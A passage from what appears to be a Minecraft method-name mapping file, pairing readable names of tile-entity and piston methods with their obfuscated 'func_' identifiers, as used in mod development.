(Lnet/minecraft/inventory/IInventory;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/tileentity/TileEntityHopper/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntityHopper/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntityHopper/setTransferCooldown (I)V net/minecraft/tileentity/TileEntityHopper/func_145896_c (I)V +MD: net/minecraft/tileentity/TileEntityHopper/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntityHopper/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityHopper/getFieldCount ()I net/minecraft/tileentity/TileEntityHopper/func_174890_g ()I +MD: net/minecraft/tileentity/TileEntityHopper/getGuiID ()Ljava/lang/String; net/minecraft/tileentity/TileEntityHopper/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntityHopper/clear ()V net/minecraft/tileentity/TileEntityHopper/func_174888_l ()V +MD: net/minecraft/tileentity/TileEntityHopper/hasCustomName ()Z net/minecraft/tileentity/TileEntityHopper/func_145818_k_ ()Z +MD: net/minecraft/tileentity/TileEntityHopper/updateHopper ()Z net/minecraft/tileentity/TileEntityHopper/func_145887_i ()Z +MD: net/minecraft/tileentity/TileEntityHopper/isOnTransferCooldown ()Z net/minecraft/tileentity/TileEntityHopper/func_145888_j ()Z +MD: net/minecraft/tileentity/TileEntityHopper/mayTransfer ()Z net/minecraft/tileentity/TileEntityHopper/func_174914_o ()Z +MD: net/minecraft/tileentity/TileEntityHopper/getSizeInventory ()I net/minecraft/tileentity/TileEntityHopper/func_70302_i_ ()I +MD: net/minecraft/tileentity/TileEntityHopper/isEmpty ()Z net/minecraft/tileentity/TileEntityHopper/func_152104_k ()Z +MD: net/minecraft/tileentity/TileEntityHopper/markDirty ()V net/minecraft/tileentity/TileEntityHopper/func_70296_d ()V +MD: net/minecraft/tileentity/TileEntityHopper/isFull ()Z net/minecraft/tileentity/TileEntityHopper/func_152105_l ()Z +MD: net/minecraft/tileentity/TileEntityHopper/getInventoryStackLimit ()I net/minecraft/tileentity/TileEntityHopper/func_70297_j_ ()I +MD: net/minecraft/tileentity/TileEntityHopper/transferItemsOut ()Z net/minecraft/tileentity/TileEntityHopper/func_145883_k ()Z +MD: net/minecraft/tileentity/TileEntityLockable/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityLockable/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityLockable/setLockCode (Lnet/minecraft/world/LockCode;)V net/minecraft/tileentity/TileEntityLockable/func_174892_a (Lnet/minecraft/world/LockCode;)V +MD: net/minecraft/tileentity/TileEntityLockable/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityLockable/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityLockable/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/tileentity/TileEntityLockable/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/tileentity/TileEntityLockable/getLockCode ()Lnet/minecraft/world/LockCode; net/minecraft/tileentity/TileEntityLockable/func_174891_i ()Lnet/minecraft/world/LockCode; +MD: net/minecraft/tileentity/TileEntityLockable/isLocked ()Z net/minecraft/tileentity/TileEntityLockable/func_174893_q_ ()Z +MD: net/minecraft/tileentity/TileEntityMobSpawner$1/getSpawnerWorld ()Lnet/minecraft/world/World; net/minecraft/tileentity/TileEntityMobSpawner$1/func_98271_a ()Lnet/minecraft/world/World; +MD: net/minecraft/tileentity/TileEntityMobSpawner$1/func_98267_a (I)V net/minecraft/tileentity/TileEntityMobSpawner$1/func_98267_a (I)V +MD: net/minecraft/tileentity/TileEntityMobSpawner$1/setRandomEntity (Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)V net/minecraft/tileentity/TileEntityMobSpawner$1/func_98277_a (Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)V +MD: net/minecraft/tileentity/TileEntityMobSpawner$1/getSpawnerPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/tileentity/TileEntityMobSpawner$1/func_177221_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/tileentity/TileEntityMobSpawner/func_183000_F ()Z net/minecraft/tileentity/TileEntityMobSpawner/func_183000_F ()Z +MD: net/minecraft/tileentity/TileEntityMobSpawner/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityMobSpawner/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityMobSpawner/getSpawnerBaseLogic ()Lnet/minecraft/tileentity/MobSpawnerBaseLogic; net/minecraft/tileentity/TileEntityMobSpawner/func_145881_a ()Lnet/minecraft/tileentity/MobSpawnerBaseLogic; +MD: net/minecraft/tileentity/TileEntityMobSpawner/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityMobSpawner/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityMobSpawner/update ()V net/minecraft/tileentity/TileEntityMobSpawner/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityMobSpawner/receiveClientEvent (II)Z net/minecraft/tileentity/TileEntityMobSpawner/func_145842_c (II)Z +MD: net/minecraft/tileentity/TileEntityMobSpawner/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntityMobSpawner/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/tileentity/TileEntityNote/triggerNote (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/tileentity/TileEntityNote/func_175108_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/tileentity/TileEntityNote/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityNote/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityNote/changePitch ()V net/minecraft/tileentity/TileEntityNote/func_145877_a ()V +MD: net/minecraft/tileentity/TileEntityNote/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityNote/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntitySign$1/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/tileentity/TileEntitySign$1/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/tileentity/TileEntitySign$1/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/tileentity/TileEntitySign$1/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/tileentity/TileEntitySign$1/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/tileentity/TileEntitySign$1/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/tileentity/TileEntitySign$1/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/tileentity/TileEntitySign$1/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/tileentity/TileEntitySign$1/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/tileentity/TileEntitySign$1/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/tileentity/TileEntitySign$1/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/tileentity/TileEntitySign$1/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/tileentity/TileEntitySign$1/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntitySign$1/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntitySign$1/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/tileentity/TileEntitySign$1/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/tileentity/TileEntitySign$1/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/tileentity/TileEntitySign$1/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/tileentity/TileEntitySign$1/sendCommandFeedback ()Z net/minecraft/tileentity/TileEntitySign$1/func_174792_t_ ()Z +MD: net/minecraft/tileentity/TileEntitySign$2/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/tileentity/TileEntitySign$2/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/tileentity/TileEntitySign$2/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/tileentity/TileEntitySign$2/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/tileentity/TileEntitySign$2/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/tileentity/TileEntitySign$2/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/tileentity/TileEntitySign$2/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/tileentity/TileEntitySign$2/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/tileentity/TileEntitySign$2/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/tileentity/TileEntitySign$2/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/tileentity/TileEntitySign$2/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/tileentity/TileEntitySign$2/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/tileentity/TileEntitySign$2/getName ()Ljava/lang/String; net/minecraft/tileentity/TileEntitySign$2/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/tileentity/TileEntitySign$2/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/tileentity/TileEntitySign$2/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/tileentity/TileEntitySign$2/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/tileentity/TileEntitySign$2/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/tileentity/TileEntitySign$2/sendCommandFeedback ()Z net/minecraft/tileentity/TileEntitySign$2/func_174792_t_ ()Z +MD: net/minecraft/tileentity/TileEntitySign/func_183000_F ()Z net/minecraft/tileentity/TileEntitySign/func_183000_F ()Z +MD: net/minecraft/tileentity/TileEntitySign/access$000 (Lnet/minecraft/tileentity/TileEntitySign;)Lnet/minecraft/command/CommandResultStats; net/minecraft/tileentity/TileEntitySign/access$000 (Lnet/minecraft/tileentity/TileEntitySign;)Lnet/minecraft/command/CommandResultStats; +MD: net/minecraft/tileentity/TileEntitySign/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntitySign/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntitySign/setPlayer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/tileentity/TileEntitySign/func_145912_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/tileentity/TileEntitySign/setEditable (Z)V net/minecraft/tileentity/TileEntitySign/func_145913_a (Z)V +MD: net/minecraft/tileentity/TileEntitySign/getIsEditable ()Z net/minecraft/tileentity/TileEntitySign/func_145914_a ()Z +MD: net/minecraft/tileentity/TileEntitySign/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntitySign/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntitySign/executeCommand (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/tileentity/TileEntitySign/func_174882_b (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/tileentity/TileEntitySign/getPlayer ()Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/tileentity/TileEntitySign/func_145911_b ()Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/tileentity/TileEntitySign/getStats ()Lnet/minecraft/command/CommandResultStats; net/minecraft/tileentity/TileEntitySign/func_174880_d ()Lnet/minecraft/command/CommandResultStats; +MD: net/minecraft/tileentity/TileEntitySign/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntitySign/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/tileentity/TileEntitySkull/setType (I)V net/minecraft/tileentity/TileEntitySkull/func_152107_a (I)V +MD: net/minecraft/tileentity/TileEntitySkull/setPlayerProfile (Lcom/mojang/authlib/GameProfile;)V net/minecraft/tileentity/TileEntitySkull/func_152106_a (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/tileentity/TileEntitySkull/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntitySkull/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntitySkull/getPlayerProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/tileentity/TileEntitySkull/func_152108_a ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/tileentity/TileEntitySkull/setSkullRotation (I)V net/minecraft/tileentity/TileEntitySkull/func_145903_a (I)V +MD: net/minecraft/tileentity/TileEntitySkull/updateGameprofile (Lcom/mojang/authlib/GameProfile;)Lcom/mojang/authlib/GameProfile; net/minecraft/tileentity/TileEntitySkull/func_174884_b (Lcom/mojang/authlib/GameProfile;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/tileentity/TileEntitySkull/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntitySkull/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntitySkull/getSkullType ()I net/minecraft/tileentity/TileEntitySkull/func_145904_a ()I +MD: net/minecraft/tileentity/TileEntitySkull/getSkullRotation ()I net/minecraft/tileentity/TileEntitySkull/func_145906_b ()I +MD: net/minecraft/tileentity/TileEntitySkull/updatePlayerProfile ()V net/minecraft/tileentity/TileEntitySkull/func_152109_d ()V +MD: net/minecraft/tileentity/TileEntitySkull/getDescriptionPacket ()Lnet/minecraft/network/Packet; net/minecraft/tileentity/TileEntitySkull/func_145844_m ()Lnet/minecraft/network/Packet; +MD: net/minecraft/block/BlockPistonBase/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPistonBase/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPistonBase/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockPistonBase/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockPistonBase/onBlockEventReceived (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z net/minecraft/block/BlockPistonBase/func_180648_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z +MD: net/minecraft/block/BlockPistonBase/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockPistonBase/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockPistonBase/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockPistonBase/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockPistonBase/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockPistonBase/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockPistonBase/shouldBeExtended (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockPistonBase/func_176318_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockPistonBase/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPistonBase/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPistonBase/doMove (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Z)Z net/minecraft/block/BlockPistonBase/func_176319_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Z)Z +MD: net/minecraft/block/BlockPistonBase/getFacingFromEntity (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockPistonBase/func_180695_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockPistonBase/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockPistonBase/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockPistonBase/canPush (Lnet/minecraft/block/Block;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Z)Z net/minecraft/block/BlockPistonBase/func_180696_a (Lnet/minecraft/block/Block;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Z)Z +MD: net/minecraft/block/BlockPistonBase/getFacing (I)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockPistonBase/func_176317_b (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockPistonBase/getStateForEntityRender (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPistonBase/func_176217_b (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPistonBase/isOpaqueCube ()Z net/minecraft/block/BlockPistonBase/func_149662_c ()Z +MD: net/minecraft/block/BlockPistonBase/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPistonBase/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockPistonBase/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPistonBase/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPistonBase/isFullCube ()Z net/minecraft/block/BlockPistonBase/func_149686_d ()Z +MD: net/minecraft/block/BlockPistonBase/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPistonBase/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPistonBase/checkForMove (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPistonBase/func_176316_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockPistonBase/setBlockBoundsForItemRender ()V net/minecraft/block/BlockPistonBase/func_149683_g ()V +MD: net/minecraft/block/BlockPistonExtension$EnumPistonType/getName ()Ljava/lang/String; net/minecraft/block/BlockPistonExtension$EnumPistonType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockPistonExtension$EnumPistonType/toString ()Ljava/lang/String; net/minecraft/block/BlockPistonExtension$EnumPistonType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockPistonExtension$EnumPistonType/values ()[Lnet/minecraft/block/BlockPistonExtension$EnumPistonType; net/minecraft/block/BlockPistonExtension$EnumPistonType/values ()[Lnet/minecraft/block/BlockPistonExtension$EnumPistonType; +MD: net/minecraft/block/BlockPistonExtension/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPistonExtension/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPistonExtension/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockPistonExtension/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockPistonExtension/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockPistonExtension/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockPistonExtension/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockPistonExtension/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockPistonExtension/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockPistonExtension/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockPistonExtension/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockPistonExtension/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockPistonExtension/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockPistonExtension/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockPistonExtension/getFacing (I)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockPistonExtension/func_176322_b (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockPistonExtension/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPistonExtension/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockPistonExtension/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockPistonExtension/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockPistonExtension/isOpaqueCube ()Z net/minecraft/block/BlockPistonExtension/func_149662_c ()Z +MD: net/minecraft/block/BlockPistonExtension/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockPistonExtension/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockPistonExtension/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPistonExtension/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPistonExtension/isFullCube ()Z net/minecraft/block/BlockPistonExtension/func_149686_d ()Z +MD: net/minecraft/block/BlockPistonExtension/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockPistonExtension/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockPistonExtension/applyHeadBounds (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPistonExtension/func_176324_d (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockPistonExtension/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPistonExtension/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPistonExtension/applyCoreBounds (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPistonExtension/func_176323_e (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/tileentity/TileEntityPiston/getProgress (F)F net/minecraft/tileentity/TileEntityPiston/func_145860_a (F)F +MD: net/minecraft/tileentity/TileEntityPiston/launchWithSlimeBlock (FF)V net/minecraft/tileentity/TileEntityPiston/func_145863_a (FF)V +MD: net/minecraft/tileentity/TileEntityPiston/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityPiston/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityPiston/getPistonState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/tileentity/TileEntityPiston/func_174927_b ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/tileentity/TileEntityPiston/getOffsetX (F)F net/minecraft/tileentity/TileEntityPiston/func_174929_b (F)F +MD: net/minecraft/tileentity/TileEntityPiston/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/TileEntityPiston/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/TileEntityPiston/update ()V net/minecraft/tileentity/TileEntityPiston/func_73660_a ()V +MD: net/minecraft/tileentity/TileEntityPiston/getOffsetY (F)F net/minecraft/tileentity/TileEntityPiston/func_174928_c (F)F +MD: net/minecraft/tileentity/TileEntityPiston/isExtending ()Z net/minecraft/tileentity/TileEntityPiston/func_145868_b ()Z +MD: net/minecraft/tileentity/TileEntityPiston/getOffsetZ (F)F net/minecraft/tileentity/TileEntityPiston/func_174926_d (F)F +MD: net/minecraft/tileentity/TileEntityPiston/getFacing ()Lnet/minecraft/util/EnumFacing; net/minecraft/tileentity/TileEntityPiston/func_174930_e ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/tileentity/TileEntityPiston/shouldPistonHeadBeRendered ()Z net/minecraft/tileentity/TileEntityPiston/func_145867_d ()Z +MD: net/minecraft/tileentity/TileEntityPiston/clearPistonTileEntity ()V net/minecraft/tileentity/TileEntityPiston/func_145866_f ()V +MD: net/minecraft/tileentity/TileEntityPiston/getBlockMetadata ()I net/minecraft/tileentity/TileEntityPiston/func_145832_p ()I +MD: net/minecraft/block/BlockPistonMoving/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPistonMoving/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPistonMoving/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockPistonMoving/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockPistonMoving/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockPistonMoving/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockPistonMoving/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockPistonMoving/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockPistonMoving/getBoundingBox 